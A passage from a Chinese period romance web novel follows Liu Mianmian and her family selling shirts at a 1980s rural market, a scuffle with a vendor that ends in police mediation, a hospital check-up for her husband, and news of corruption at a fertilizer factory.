征求沈伯康夫妇同意后,余国梁花一天时间把地拾掇了一下,种上了当季的番茄、丝瓜、黄瓜和豆角。 王叔和刘婶都是南城大杂院里长大的,不会种地,家里其他人就更不会了。见余国梁把那一小片地收拾得整整齐齐,刘婶眉开眼笑,拿了个小本子,认真记下之后的养护要点,乐观地表示,这个夏天肯定能吃上自己地里长出来的菜了。 她怕自己记得不对,还让余国梁把养护要点给柳绵绵也说了一遍,柳绵绵无奈之下,又拖上了沈维舟。 好歹是原书盖戳认定的天才,记忆力、理解能力绝对没问题吧? 还有一件事就是,沈维舟上回去医院做了检查,这段时间一直没去医院曲报告单,也没有再去复查,医院终于把电话打来了家里,提醒病人及时上医院复查。 让沈家人大松一口气的是,护士在电话里也说了,检查指标和身体健康的人没法比,但是和沈维舟之前的就诊记录对比,已经明显改善。 “明天就去医院,我们陪你去。”俞婉说。 虽然只是检查指标有了微弱的好转,但对俞婉来说,却是二十多年来夜夜祈祷也不敢太过奢望的好消息,她眼眶微红,声音也有了几分哽咽。 沈维舟捧着饭碗,略略思考了一下,说:“明天周日,白大夫不上班。” 俞婉一噎,见不得他这副对自己身体毫无所谓的样子,抬手轻轻拍了他一下:“那就后天去!” 柳绵绵捏着筷子主动请缨:“后天我陪他去吧。明天我和蒋红梅约好了去怀平乡赶大集。” 她扭头问余国梁:“一起去凑凑热闹不?” 余国梁心里发愁,担心那车被扣的化肥,不过也知道自己担心也没用,调查组让他们等着,他们就只能老老实实地等着。 他已经知道柳绵绵和蒋红梅要去怀平乡做什么了,想着两个姑娘出门去摆摊,说不好会碰见什么,自己跟着好歹能壮个胆,有什么事情也能搭把手,于是点头:“我和你们一起去瞧瞧。” 难得在家的沈维云顿时眼睛一亮:“我,我也想去凑凑热闹。” 俞婉瞪她一眼:“离高考只有两个月时间了,你不临时抱佛脚,还想着玩?” 沈维云委屈道:“我这不是一直在临时抱佛脚吗,我抱得有点累,还不兴劳逸结合,先把这臭脚丫子放开两天啊?” “……” 一桌人都是哭笑不得。 柳绵绵看一眼沈维云,想着她在原书中的遭遇,就是发生在俞婉出车祸、沈维舟一命呜呼,沈家正乱的时候,按时间推测,应该就是最近了。 于是说:“那就劳逸结合呗,去瞧瞧农村的民风民俗,没准回头考试的时候,还能写进作文里去呢。” 沈维云马上说:“就是就是,读万卷书不如行万里路,我去看看农民老大哥丰富多彩的生产生活,回来肯定能写进作文里。” 沈维舟夹了一筷子空心菜,淡淡说:“那你回来就写一篇不少于一千字的文章。” 沈维云脸上的笑容立马被愁眉苦脸取代,这话要是她爹说的,她还能插科打诨地耍赖,可偏偏是大哥说的,她从小就怵这个哥哥,压根不敢说“不”,只敢讨价还价:“一千字有点多,八百可以吗?” 沈维舟淡淡嗯了一声。 沈维云高兴了:“行,那我回来就写八百字的文章。” 柳绵绵:“……” 这傻姑娘,沈维舟一开始说一千字分明就是给她留了“砍价”空间的,毕竟高考作文八百字也够了,明明是被布置了一篇作文的“作业”,她还觉得自己占便宜了偷着乐呢。 刘婶其实也想去,不过他们和大儿子约好了,明天早上十点通电话,仔细商量一下退伍转业的事情,于是只能作罢。 第二天,蒋红梅再次在天蒙蒙亮时就敲开了9号院的大门。 柳绵绵哈欠连天地坐在餐厅,等着刘婶摊饼、烧小馄饨给他们当早饭。 蒋红梅瞧她这样子就无语,问余国梁:“你们家原先到底是怎么宠着她长大的,瞧把她娇惯的,不就是早晨起得稍微早点吗,你看看她,这副样子,简直就像要她命一样。” 余国梁憨厚笑笑:“她是老幺嘛,我们做哥哥的自然都要让着她。” 柳绵绵不服气,理直气壮说:“蒋红梅同志,这是稍微早点的问题吗,这是很早、非常早、太早了好嘛。这个点把人挖起来,你还奢望我精神抖擞,眼睛瞪得像铜铃啊?” “瞧瞧这小嘴叭叭的,人家说一句,她能说一百句。”蒋红梅一点不给面子,反问道,“你睁大眼睛瞧瞧,这一屋子里坐着的,有谁跟你似的?” 柳绵绵打着哈欠看向餐桌旁的其他几人,余国梁,沈维云,沈维舟……每一个人都精神奕奕,一副睡足了二十四小时的样子。 呃。 “我们庄稼人平时起得就早,习惯了。”余国梁帮妹妹找补,“绵绵晚上也要上班,睡得晚,不习惯早起也正常。” 沈维云看一眼柳绵绵,自从上回一起去了军区大院,亲眼看见柳绵绵怼“那边”的几个,她就觉得这个嫂子其实也还不错了。 后面人贩子的事情闹得沸沸扬扬的,沈维云听说人贩子曾两次对柳绵绵出手,都被她识破,并且她还报警把其中一个外号叫胖子的人贩子给送进了派出所,沈维云就更觉得这个嫂子厉害了。 不但不讨厌,甚至还挺喜欢这个嫂子的。 嫂子挺厉害,挺特别的。 见嫂子被调侃,沈维云眨眨眼睛,说:“我是高三生嘛,每天起早摸黑地临时抱佛脚,也习惯早起了。等高考完了,我肯定天天呼呼大睡,睡到日上三竿,估计也就不习惯早起了。” 说完就扭头去看自己亲哥,一双水灵灵的眼睛盯着亲哥,冲亲哥使眼色:赶紧的说话给嫂子解围呀! 见沈维舟不为所动,半天不吭声,沈维云“胆大包天”地偷偷在餐桌底下踢了亲哥一下。 就她哥哥这样的,能娶到嫂子这样的,那都是瞎猫碰见死耗子,纯粹靠运气了,要还不知道嘴甜一点体贴一点,回头嫂子不搭理他看他怎么办。 被亲妹妹踢了一脚的沈维舟,无语看了沈维云一眼,随口道:“我睡眠浅,醒了就睡不着了。” 蒋红梅:“……” 行吧,忘了自己是在柳绵绵的地盘上了。 真是,一个个的,都护犊子得紧。 柳绵绵今后要是懒成一条虫,在座的可每一个人是无辜的。 吃完早饭几人走出求知巷,巷子口早有一辆满载货物的拖拉机停在那里等着了。 蒋红梅把从沈家打包的一个南瓜丝摊饼递给开拖拉机的男青年,介绍说:“这是我朋友,刘安民。” 刘安民皮肤有点黑,笑起来一口牙齿显得特别白,不愧是蒋红梅的朋友,性格也很爽朗,笑呵呵和几人打了招呼,就一边大口啃着饼一变说:“车斗里都是布料和衣服,随便找地方坐。” 又口齿含糊地说:“这饼可真好吃。” 柳绵绵拽着沈维云先上了车斗,等她们坐下后,蒋红梅发愁地看了一眼沈维舟,问:“沈维舟同志,你看我们就这条件,你确定也要去?” 沈维舟看一眼塞满麻袋的车斗:“嗯,挺好的。” 蒋红梅叹了口气,扭头给柳绵绵使眼色,柳绵绵摊摊手表示无能为力。 昨晚沈维舟说要一起去的时候她就劝过了,偏偏人家说自己最近做研究做得有点累,也需要劳逸结合,还从天气、气温和他身体检查指标等各方面,论证了他去赶个集根本不会有什么问题的论点。 沈维舟没跟蒋红梅客气,率先上车,自己找了个前后都有麻袋挡风的位置坐下了,蒋红梅看他动作轻松,暗暗松了口气,这才爬上了车斗。 她是真怕这位在路上出什么事。 最后一个上车斗的是余国梁,他倒是适应良好,毕竟拖拉机在农村那就是最好不过的交通工具了。 嫌弃?不存在的。 这个季节早晨的风是很凉爽的,拖拉机轰隆隆地走起来以后,柳绵绵被清晨的凉风一吹,残留的睡意一下子烟消云散,整个人清醒无比。 朝霞漫天,道路两旁的树木在清晨温柔的光线中一点点后退,近处的行人,远处的炊烟,构成了一幅静谧柔美的风景画。 如果拖拉机卷起的烟尘再少一点就更好了。 沈维舟腰背挺直地坐在几个麻袋中间,视线落在侧方的人身上,神情不自觉柔和。 哪怕他们出门早,可到底离得远,等他们到达怀柔乡的时候,已经天光大亮,乡政府后面的空地上,早已摆满了摊位。 所幸蒋红梅事先和她小姨联系过,她小姨拿张旧草席占了个好位置,他们找到地方的时候,小姨正和旁边的摊主争执。 “你卖什么,你卖个屁,你屁都没有,你占这么大一块地方?” 旁边的摊主是长相刻薄的夫妻俩,俩人来晚了,没占到好地方,见蒋红梅小姨的破草席旁边还有五十公分宽的一点地方,硬生生挤了进来。发现小姨除了草席,连袋货也没有,自觉揪到了错处,更加理直气壮地想把小姨占的地方也给抢了。 蒋红梅小姨也不是什么任人搓扁捏圆的软柿子,叉腰就骂:“我就卖个屁了,关你屁事?!妈的,你们硬挤老娘已经睁只眼闭只眼了,你们还想得寸进尺,真当老娘好欺负是不是?就这么点地方,你爱待着待着,不爱待着赶紧带上你们的破东西给老娘滚。” “你这臭娘们儿找打是不是?”男摊主仗着自己长得魁梧,一下子站起来,指着小姨威胁说。 不等小姨回答,蒋红梅把扛着的麻袋往男摊主面前一摔,吼:“打,你打!你敢打,老娘今天就弄死你!” 男摊主瞪着眼睛:“你以为老子不敢?!” 然后就看到一群人站在了他的摊位前。 站在最前面的两个男的,身材高大,肤色偏黑,随便一个站出来,感觉都不太好对付。 俩人身后还站了一男两女,这三个人看着倒是斯斯文文的,气质像城里的文化人。尤其其中的年轻男人,虽然长得俊,但脸色却异常的苍白,看着就不像健康的人。 男摊主轻蔑地扫向他,心说这痨病鬼不会也是来摆摊的吧。 哪想到眼神刚一和对方接触,他浑身汗毛立即就竖了起来,莫名有一种被凶禽猛兽盯上的错觉,背上冷汗一下子就冒了出来。 他下意识往后退了一步。 刘安民踢踢隔壁摊主放在地上的麻袋,说:“没看见我们这儿人多吗,挤不下你们俩了,赶紧哪儿凉快滚哪儿去。” 男摊主色厉内荏道:“这地方是你们的吗,这是公家的地方,谁占了就算谁的。” 蒋红梅:“我们占了,所以你赶紧滚。” 男摊主还想再说什么,女摊主扯扯他的袖子:“算了算了,咱们换个地方。”逞凶斗狠他们倒是不怕,只是那三个看着斯文的,瞧着不像普通人。 俩人卷起摊在地上的破布悻悻离开。 小姨松了口气:“哎哟,幸好你们来了,不然我真要跟他们打起来了。” 她好奇看了眼柳绵绵他们:“你们这瞧着可真不像来摆摊卖东西的。” 柳绵绵笑眯眯喊了声小姨,理直气壮道:“我是投资人,只管投钱,不管卖货,我当然不是来摆摊卖东西的,我是来逛大集买东西的。” 蒋红梅:“……你可真行。” 沈维云分外高兴:“我也不会卖东西,我会买东西。” 余国梁看看这几个不靠谱的,无奈道:“我没东西要买,我来一起卖。”他挠挠头:“不过我也不太会。” 柳绵绵拿出个硬纸板,竖着摆到地上麻袋前。 之前柳绵绵拿了个硬纸板摊在车斗里,蒋红梅还以为她是矫情,嫌弃车斗不干净,现在蒋红梅才看清楚,这硬纸板上用红黑两色歪歪扭扭地写了两行字:南城服装厂高档衬衫跳楼价每件十元,三件以上直接跳海每件再减一元! “……” 明明她们之前商量好的,销售价就是每件九元,怎么变成买三件以上才九块钱一件了? “一看到这个,是不是就觉得不买三件以上就亏了?”柳绵绵笑眯眯问。 蒋红梅琢磨了一下,心说还真是,这可比直接说九块钱一件吸引力更大呀。 她朝柳绵绵竖了个大拇指,赶人说:“得得得,别挡着我们做生意了,想买什么买什么去。” 柳绵绵于是高高兴兴地去逛大集了。 年初时,上面下发文件推出进一步活跃农村经济的十项政策,规定当年起,除个别品种外,国家不再向农民下达农产品收购派购任务,定购以外的农产品允许农民上市自销。 受此影响,农村大集上的农产品不管是种类还是数量都非常丰富,柳绵绵挑着质量好的细粮、棉花和鸡蛋买了一些,很快装满了一个麻袋,于是只好把东西先送回到蒋红梅他们那边。 沈维舟主动揽下了送东西回去的活儿,虽然柳绵绵和沈维云都担心他拎不动,但事实证明,他拎着一个大麻袋,还走得很轻松。 “我哥好像和以前不一样了,他以前好像没这么大的力气。”看着沈维舟的背影,沈维云皱着眉头奇怪地说,“还有,他以前不吃韭菜的,也不爱吃南瓜,可最近我看他夹过好几次韭菜,南瓜丝摊饼也吃得津津有味的。你说,是不是因为他身体好了啊?” 柳绵绵一怔,问:“你说他以前不吃韭菜,也不爱吃南瓜?” 沈维云点头:“是啊,不过医生不是说他检查指标也好了吗,可能是身体好了,就不挑食了吧?” “可能是吧。” 柳绵绵随口应着,心里却不以为然。 她上辈子有个室友,不吃葱姜蒜,每次吃东西都要小心翼翼问清楚配料,尤其是吃饺子的时候,非得把馅料都打听清楚了才敢吃,有一次不小心吃到韭菜馅的饺子,她当场就吐了。 这种习惯还真不是那么容易就能改掉的。 所以,沈维舟是怎么回事? 俩人在原地等了沈维舟一会儿,来来往往的人实在太多,她们站在路中间,时不时要跟人撞上,干脆往旁边偏僻的角落躲了躲。 之前想抢地方的那个男摊主不知从哪里冒出来,盯着她们一脸阴沉:“都怪你们,害老子只能在犄角旮旯里摆摊,一早上连个萝卜都没卖出去。” 农村大集上什么最多?自然是随处可见、家家户户都有的萝卜白菜。加上这夫妻俩价格要得高,也都是一脸刻薄相,态度也一般般,东西卖不出去完全是意料之中。 但他自己可不这么觉得,他觉得就是因为自己“丢”了那个好位置,才卖得这么艰难。 想到东西卖不出去,再挑了回家,肯定会被村里人嘲笑,男摊主就心头火气。见柳绵绵和沈维云只有两个人,他狞笑起来:“老子打死你们两个臭娘们儿,让你们狂——” 他骂骂咧咧地冲向柳绵绵,还差半米的距离时,看到柳绵绵突然从随身挎包里拿出个瓶子,不等他反应,柳绵绵飞快拧开盖子,一甩手就泼了男摊主满头满脸。 “啊——” 第29章 进账颇丰(修) 柳绵绵每天揣着瓶辣椒水进进出出,哪怕朱永齐“二进宫”,再次被逮进派出所,她也没有把东西收起来。 八九十年代治安不太好,这东西随身带着,有备无患。 只是没想到,第一次派上用场是在这种场合。 更没想到的是,这个男摊主还挺坚强,虽然被辣椒水泼得满面狰狞,但是他拿袖子往脸上一抹,眯缝着眼睛,竟然就又向她们冲了过来:“妈的,我打死你个臭娘们,你还敢拿东西泼老子!” 柳绵绵拽着沈维云就跑,边跑边喊:“抢劫啦,杀人啦,救命啊——” 眼角余光瞥见一个身影从侧边跑了过来,柳绵绵心说这人看着有点眼熟,随即马上反应过来不对,这是沈维舟! 她赶忙使劲推了一把沈维云:“跑!” 抄起路边的一把扫帚又折了回去。 那边沈维舟“慌乱”中“踉踉跄跄”地撞上了男摊主,一个肘击“不小心”肘在男摊主的腹部,男摊主发出一声沉闷的痛呼,被“收势不及”的沈维舟一下子撞翻在地,沈维舟“失去平衡”,于是也一下子栽倒,好巧不巧,拳头就砸在了男摊主的脸上。 柳绵绵拎着扫帚一时竟不知从何处下手。 好像,没有下手的必要? 十分钟后,怀平乡派出所。 鼻青脸肿、眼眶通红的男摊主指着柳绵绵:“她给我泼了毒水,肯定是毒水,我的眼睛,还有脸,现在都是火辣辣的疼。” 又一指沈维舟:“还有他,他打了我的肚子,还有脸,我现在站都站不直,很疼,非常疼!” 公安扭头看向柳绵绵和沈维舟。 柳绵绵叹了口气,说:“公安同志,我们都是南城人,今天跟着朋友过来赶大集凑热闹的,我们和这个人完全不认识,根本就没有理由打他呀,你说是不是?” “倒是他,因为之前和我们几个朋友有争执,看到我们两个女同志落单,就想报复。他自己没卖出萝卜,倒是怪上了我们,说要打死我们俩,我们这也是迫于无奈,正当防卫。总不能真站那儿等着他来打死我们吧?” 公安点点头,看了眼男摊主,说:“但是你泼他的东西似乎伤害性有点大。” 柳绵绵无辜道:“就是用辣椒、酒精、大蒜、生姜做的汁水,都是能吃的东西,能有多大伤害性?而且,我前阵子被人贩子盯上过,这都是为了防范人贩子特意准备的,哪知道人贩子没遇上,倒是先遇上人渣了。” “妈的,你说谁人渣?臭娘们儿,老子打死你!” 男摊主简直一点就爆,柳绵绵往公安的身后躲了躲,弱小、可怜又无助:“公安同志,你看看,当着你的面,他就要打死我。” 公安严厉制止了对方,男摊主气得差点吐血,怒吼:“她先骂我人渣的!” 柳绵绵:“我骂你一句,你就要打死我,我不泼你泼谁,等着你打啊,我又不是傻的。” 发现自己在口舌上讨不到半点便宜的男摊主,气愤之下只能把矛头继续对准沈维舟:“他呢,那他呢,他突然窜出来打我总是事实吧?” 他瞪着沈维舟,发红的眼眶像要喷火,沈维舟却一如既往的面无表情,淡淡看他的眼神,跟看一只膈应人的蟑螂差不多。 “你追打我的妻子和妹妹,我情急之下想要阻止你而已,并没有打你。” 非常温和的语调,配上满是寒意的眼神,充满了违和感。 男摊主想说什么,在他的眼神逼视下却什么也说不出来。 柳绵绵插话说:“公安同志,他说我丈夫打他就更是无稽之谈了。我丈夫身体不太好,平时重点的东西都拎不动的,怎么会有力气打人呢?不过是情急之下撞到了他,运气好正好撞对了地方而已。不是我宣扬迷信哈,他这是恶有恶报,怎么还怪到我们头上呢?” 她皱起眉头:“他还好意思说我丈夫打他,我还怕他皮糙肉厚的,把我丈夫的手磕坏了呢。维云,赶紧瞧瞧,你哥哥手有没有破皮。” 沈维云立马凑到亲哥身边,抓起亲哥的手看了看:“破皮倒是没有破皮,不过关节这里都红了。” 柳绵绵一副“看吧,我就知道”的表情。 公安看向沈维舟,这男同志身材瘦削、面色苍白,确实是肉眼可见的身体不好,再看那个男摊主,长得五大三粗,这武力值几乎就是明摆着的。 “你们给我打成这样,还想怪我自己,他那手不就是打我打红的吗?”男摊主怒道,“赔钱,必须赔钱,没有五百块钱,你们别想走。” 哟,还敢狮子大开口呢。 柳绵绵双手一叉,说:“公安同志,这个人意图趁角落无人殴打伤害我们,他这是犯罪未遂,请一定要追究他的刑事责任,不然,他以为犯罪没有成本,以后只会变本加厉。还有,他趁机向我们索要五百块钱赔偿费,这分明就是敲诈勒索,请一并追究他的刑事责任。” 听到追究刑事责任,男摊主终于怕了,色厉内荏道:“我又没有打到你,你们还打我了呢,你们还想让我坐牢,还有没有天理国法了。你你你,你们医药费总要给我吧……” 还想要医药费,真是长得丑想得美。 柳绵绵半点不为所动,就坚持一条,正当防卫,没有打人,请公安追究对方刑事责任。 到最后,男摊主反过来开始痛哭流涕地请求他们放他一马,赌咒发誓以后再不敢跟人动手。柳绵绵心知己方未受到任何伤害,对方故意伤害证据不足,本来就不太可能追究对方刑事责任,于是表示己方也不愿太过浪费警力资源,不跟他计较了。 写和解协议的时候,公安忍不住问柳绵绵:“女同志有没有意向来我们派出所做调解工作?” 明明他们进来的时候,是男摊主要求追究他们几人打人的责任,可这说着说着,话题就转变成了男摊主故意伤害、敲诈勒索,然后就变成了他们是否追究对方的责任了。 这一手嘴皮子功夫,要是用来做派出所的调解工作,那绝对是事半功倍。 柳绵绵:“……我这个人就喜欢钱多事少离家近的工作,其他的都不考虑哈,感谢感谢。” 公安:“……” 不是,世上还有这种工作吗? 低头看看她填的个人信息,家庭住址求知巷9号,那一片可是南城人家喻户晓的“富人区”。 行吧。 不管怎么说,他们怀平乡离求知巷确实挺远的。 派出所就在乡政府里面,不然公安也不能那么快就将人拎到派出所了。 男摊主不知是心虚还是怕他们打,一出门就飞奔而去。 柳绵绵站在怀平乡政府门口,回头看了眼挂着派出所牌子的几间平房,忍不住嘀咕:“最近进出派出所的频率会不会也太高了一点?” 要知道,她一个遵纪守法、循规蹈矩的好市民,上辈子直到猝死,也不知道派出所的门朝哪边开的。 哪想穿到这个世界以后,短短一个多月时间,她前前后后都进了这么多次派出所了。 沈维云轻声说:“嫂子你好厉害的。”她双眼亮晶晶地看了一眼柳绵绵,又不好意思地马上转过头去。 “你哥才厉害呢。”柳绵绵若有所指道,“他那么随随便便一撞,就把那人渣撞得鼻青脸肿,这也算得上绝技了。” 别看她在派出所里信誓旦旦,说得天花乱坠,实际上她自己都不信世上能有这么巧的事情,随随便便这么一撞,就能给人撞成猪头。 沈维云不觉有异,认真点头:“是啊,我哥也很厉害。”虽然是瞎猫碰见死耗子,但是结果就是,结结实实帮她们出了一口气。 沈维舟看一眼柳绵绵,面不改色:“运气好而已。” “是啊是啊,运气可真好。”柳绵绵阴阳怪气地接了一句,没再说什么。 刚走到集市门口,就碰见匆匆走出来的蒋红梅。看到他们仨安然无恙,蒋红梅松了口气,拽住柳绵绵问:“怎么回事,怎么闹到派出所去了?我们忙得焦头烂额,一时没注意,还是隔壁摊子的人告诉我们的。” 柳绵绵简单说了下事情经过,蒋红梅穿插着向那对夫妻的祖先表达了问候之情,最后总结道:“下次要让我再碰见他们,我抽死他们。” 柳绵绵拍拍她的肩膀:“挣钱要紧,和气生财。” 蒋红梅翻个白眼:“和气生财,你还泼他那什么辣椒水?” 柳绵绵:“我要不泼他辣椒水,今天就真得打起来了,怕是没那么容易出派出所。再说了,我不泼他辣椒水,我难道站在那里等他打,我又不是傻子?” 蒋红梅好奇:“这什么辣椒水还挺好用啊?” 柳绵绵闻弦歌而知雅意:“我回头重新做一点,给你一瓶。” 沈维云默默举手:“我也想要。” 柳绵绵:“……行,都有。” 她催促蒋红梅:“我们没事,你还是先去摆摊吧?” 蒋红梅突然笑了起来,扭头往后看了眼,看到抱着破草席、破麻袋的余国梁他们,下巴微微一抬,说:“看见没有,我们已经全!部!都!卖!完!了!” “收摊了,我们已经收摊了!” 饶是柳绵绵对八十年代的市场很有信心,自信这么一点货,一天时间绝对能卖完,可柳绵绵也完全没有料到,那些货能这么快就卖完了。 刘安民抱着破草席跑了过来:“是的,我们卖完了,还有人没买着,一直问我们下次什么时候再来呢!” 余国梁也走了过来,表情有些恍惚,难以置信和莫名兴奋掺杂在一起的那种茫然,他喃喃道:“是的,已经卖完了,几乎每个人都买了三件,买不到三件的,也找人拼着一起买三件,三件三件三件,一下子就卖完了。” 他叹息:“摆摊这么能挣钱的啊!” 蒋红梅的嘴角就没放下来过:“是啊,我也没想到,摆摊这么能挣钱。” 她从兜里掏出两张大团结,一张给小姨,一张给余国梁:“今天工资。” 小姨和余国梁都说没帮上多少忙,不好意思收,最后还是“投资人”柳绵绵又劝了一句,他们才收了。 几人谢绝了小姨留他们吃饭的邀请,毕竟时间还早,小姨也不勉强,一迭声的让大家回头到怀平乡一定来找她,这才抱着破草席喜滋滋地转身回了家。 十块钱呐,抵得上一个工人四分之一月工资了,而她只是借出张破草席,帮着吆喝了几声,就挣到了。 等回到拖拉机上面,伴随着拖拉机轰隆隆的发动机声,蒋红梅愉快地开始算账。利润总共是八百零三元,扣除给余国梁和小姨的二十,那就是七百八十三元,一人一半,每人能得三百九十一元五毛。 柳绵绵估计她和刘安宁是凑钱合伙的关系,所以没给刘安宁算工钱,但这么算明显他们是吃亏了的,于是说:“你和刘安宁卖货了,一人也算十块钱工钱。剩下利润七百六十三元,咱们平分,每人三百八十一块五毛,加上我出的本金七百,你一共给我一千零八十一块五毛。” 蒋红梅见她这么说,也没推辞,点头:“行,谢了。” 那她和刘安宁就是三百本金,加二十元劳务费,再加三百八十一元五角。 三百本金,她和刘安宁一人一半凑的,等于原本的一百五,现在变成了三百五十多了。 蒋红梅兴奋得不行。 她那一百五十块钱,也不知道攒了多少年,费了多大的劲儿,现在半天时间就翻了一倍都不止,她都想大喊一声“摆摊可真挣钱”。 钱蒋红梅早就一百一百地数好了,当场就掏出来数了一千多给柳绵绵,柳绵绵想了想,又抽出十块钱还给蒋红梅:“拖拉机的费用忘了算,算二十吧,咱们一人出十块钱。” 她们俩其实都不在意这十块钱,就算是蒋红梅,哪怕她现在手里只有三百多,可她也相信自己不用多久就能挣到一千。但既然是合伙做生意,该算的,该出的,确实是算清楚比较好。 蒋红梅收下钱:“其实用不了二十块钱,这钱我替刘安宁收了,也替他谢谢你。” 柳绵绵摆摆手:“不用这么客气。” 她随手又抽出一张大团结,塞进沈维云手里:“你的劳务费。” 沈维云早看呆了,大嫂这一上午挣了她爸两个月工资哎,她感觉自己的世界观受到了冲击,更是没想到柳绵绵还会给她劳务费,她她她,她什么都没做啊! 柳绵绵仿佛看穿了她的想法,又补了一句:“见者有份。” 沈维云红着脸接过:“谢谢大嫂。” 啊啊啊,嫂子真是好人啊! 柳绵绵笑眯眯地说了声“不用谢”,随后就把剩下的钱往兜里一塞,拍拍衣兜,心说,今天这也算是开门红了,收获不错。 坐在她侧边的沈维舟忍不住看了眼那个鼓鼓囊囊的衣兜,表情淡淡。 见者有份? 他不是见者吗? 第30章 化肥厂后续 几人在国营饭店吃了顿好的,这才各回各家。 余国梁感觉自己这一趟南城真是没白来。虽说化肥厂门口排队吃了不少苦,不过只是排个队,吃得差点睡得差点而已,在庄稼人来说,还真算不上什么苦,主要的苦是心理上的,提心吊胆怕买不着化肥。 但也真是长了不少的见识,尤其是今天摆摊卖货的经历,对他的冲击可太大了。 他们平常农闲也在乡里集市摆摊,买的都是自家种的小菜,要么就是家里攒的鸡蛋,就这,也比从前挣工分的时候挣得多多了。 可和今天一比,他们的摆摊,就和小孩子玩家家似的,挣的仨瓜俩枣,连人家零头都没有。 余国梁自然也知道,人家能挣这么多,是因为能从服装厂拿到便宜的瑕疵品。但他这些天被打开了新世界的大门,直觉自己也可以想法子做一些改变。 就说他们在化肥厂门口排队时,有个瘦猴儿一样的少年,偷偷兜售家里摊的咸菜饼。咸菜饼价格定得不高,利润应该挺薄的,但是化肥厂门口人多呀,薄利多销,仔细算算,一天的收入其实非常不错。 哪怕买的高价粮,也挣不少了。 以前余国梁没注意过这些,也就是最近,成天听柳绵绵说什么成本啊利润啊的,才有了这个概念,然后就突然发现,那些自己原本熟视无睹的、不起眼的小生意,挣的钱竟然超乎自己的想象。 他开始琢磨着自己回家以后能做点什么小生意。 不过想到被扣的化肥,余国梁还是一阵发愁。 哪想一进9号院,刘婶就告诉他,中午招待所那边打来电话,说是化肥还回来了,就连多出的三千八百块钱也还给他们了,等下午上班办好手续,他们就可以回去了。 余国梁松口气之余,分外的高兴。 三千八可不是什么小数目,哪怕摊到农户也就多个几分钱一斤,可对于收入稀薄的农民来说,一分钱也是很好用的,给孩子买本小人书、买几颗糖,或是给家里买几盒火柴不好吗? 原本他们还担心那些化肥会被扣住,如今不但化肥回来了,多出的钱也回来了,这结果简直让人喜出望外。 余国梁归心似箭,收拾了客房里的东西,又带上了柳绵绵给他准备的东西,迫不及待地就走了。 送走余国梁,第二天柳绵绵趁着上班前陪沈维舟去了趟医院。 白老爷子念叨了沈维舟一通,对他这种不将自己的身体当回事的态度大为恼火,但面对各项指标明显好转的检查报告,却又马上神色舒缓:“挺好的,原本我担心你虚不受补,现在看倒是可以试试了。我给你开点扶正培元的药,你先吃一阵子试试。这回一定记得及时过来复查。” 沈维舟应了,白老爷子还是信不过的样子,点点柳绵绵,说:“你好好盯着他。” 又说起注意事项:“服药期间忌辛辣刺激,还有,房事不宜频率过高。” “……” “……” 两人脸上都闪过一丝僵硬的尴尬,沈维舟将处方单接过来,起身告辞:“那我半个月后再来。” 柳绵绵也忙说:“白大夫您放心,我一定监督他好好吃药,准时回来复查。” 两人难得非常默契地迅速撤离。 眼看这俩人话都不敢多说一句,跟后头有狗撵似的,一下子就跑没影儿了,白老爷子微微一愣,随即失笑摇头,这新婚小夫妻啊,就是脸皮薄,他还什么都没说呢,这俩人就臊跑了。 柳绵绵上辈子是个母单,穿越过来以后直接达成结婚成就,连个缓冲都没有。 不过之前她一直把沈维舟当“活死人”看,没多久就要一命呜呼了嘛,和死人也差不多了,加上沈维舟对待她的态度也差不多,没有一丝一毫要跟她产生亲密关系的意思,于是她就更泰然自若了。 也不知道是听了白老爷子的“虎狼之词”,还是什么缘故,之前一直被柳绵绵刻意忽略的事情,一下子在脑海里冒了出来。 她原来是以为沈维舟活不了多久,反正她暂时也没有在这个陌生的年代结婚生子的打算,就想着要么就留在沈家当个挂名的寡妇,以后把俞婉和沈伯康当爹妈孝敬,给他们养老也就是了。 大概是她穿越过来,改变了剧情,沈维舟安然度过命中的“死劫”,不但病情没有恶化,反倒身体状况变好了。听白大夫意思,似乎是只要一直保持这种状态,他有信心慢慢给沈维舟调理回来,不说活个七老八十,暂时肯定没问题了。 那么她就不可能一直待在沈家了。 人家花那么多钱娶个媳妇儿,总不是娶来纯粹当个“床友”的吧,万一沈维舟突然想清楚了,要和她过夫妻生活、生儿育女,她总不能直接把他踹下床吧。 得挣钱买个房子,实在不行就摊牌离婚,到时候搬出来自己住。还有沈家给的那些钱,要是离婚的话,她肯定得想办法还回去。 这么一琢磨,柳绵绵顿感经济压力巨大。 今天公交车上人挺多,他们上车的时候已经没有位置了,只能站在过道上。柳绵绵想事情想得有点入神,忽然被人扯了一把,她一个不稳,直接撞在沈维舟手臂上,然后就被沈维舟扯到了另一边。 她疑惑抬头,看见沈维舟冷冷注视着一个穿喇叭裤的、瘦竹竿一样的小青年,那小青年一副不服气的样子回瞪着他,但很快就在眼神对视中败下阵来,嘴里嘀咕了一句不敢大声说的脏话,往另一头挪了个位置。 “他一直往你身上靠,你没感觉吗?” 俩人站得很近,沈维舟压着声音,用只有柳绵绵才能听清的音量问。 柳绵绵顿时一阵不舒服,扭头狠狠瞪了那猥琐小青年一眼。 沈维舟的语气不算好,冷冰冰的,还带了几分怒气,柳绵绵觉得这人的火气来得莫名其妙,不过还是好声好气地说了声谢谢,表示自己会注意的。 沈维舟面色稍霁,侧了侧身体,给柳绵绵留了个不用和其他人挤作一堆的小角落。 柳绵绵看着他的侧脸,觉得这人真是挺神奇的。 明明是个风一吹就倒的病秧子,偏偏整个人非常有气势,那个瘦竹竿被他一瞪,竟然连上前理论几句、动个手的勇气都没有。 也不知道是不是白天想得有点多,晚上睡觉前再次看到沈维舟穿着一身长袖长裤,掀开被子上床的时候,柳绵绵感觉自己莫名其妙地有些紧张,心跳得有点快。 默念了一句“色即是空,空即是色”,她赶紧一撩被子转过了身。 沈维舟侧头看她一眼,抓着被角的手指顿了顿,拉了灯绳,躺下了。 静谧的黑暗中,有淡淡的雪花膏香味,沈维舟盯着黑暗的虚空,本以为自己会睡不着,哪想很快就陷入了沉睡。 又过了两天,柳绵绵从俞婉那里听说了化肥厂事件的后续。 据说由于调查组突然空降,事先毫无风声,化肥厂内部措手不及,相关的资料、报表被查了个底朝天,查到了不少问题。生产管理方面还算好,只是些小问题,严格来说化肥供不应求其实也是客观情况,产能跟不上需求。但是销售环节的问题就大了。 化肥厂的周厂长据说一直在集中精力搞生产研发和设备引进,销售环节的事情都交由分管副厂长牛大毅全权处理。 而销售科的那位胡进科长,正是牛大毅的小舅子。 这俩人把持着销售环节,趁着供不应求的契机,大搞吃拿卡要,从中捞了不少好处,请客吃饭、报销餐费、收受高档礼品等等,而且他们还觉得没什么,华国人情社会,吃个饭送个礼算什么问题,根本不算问题。 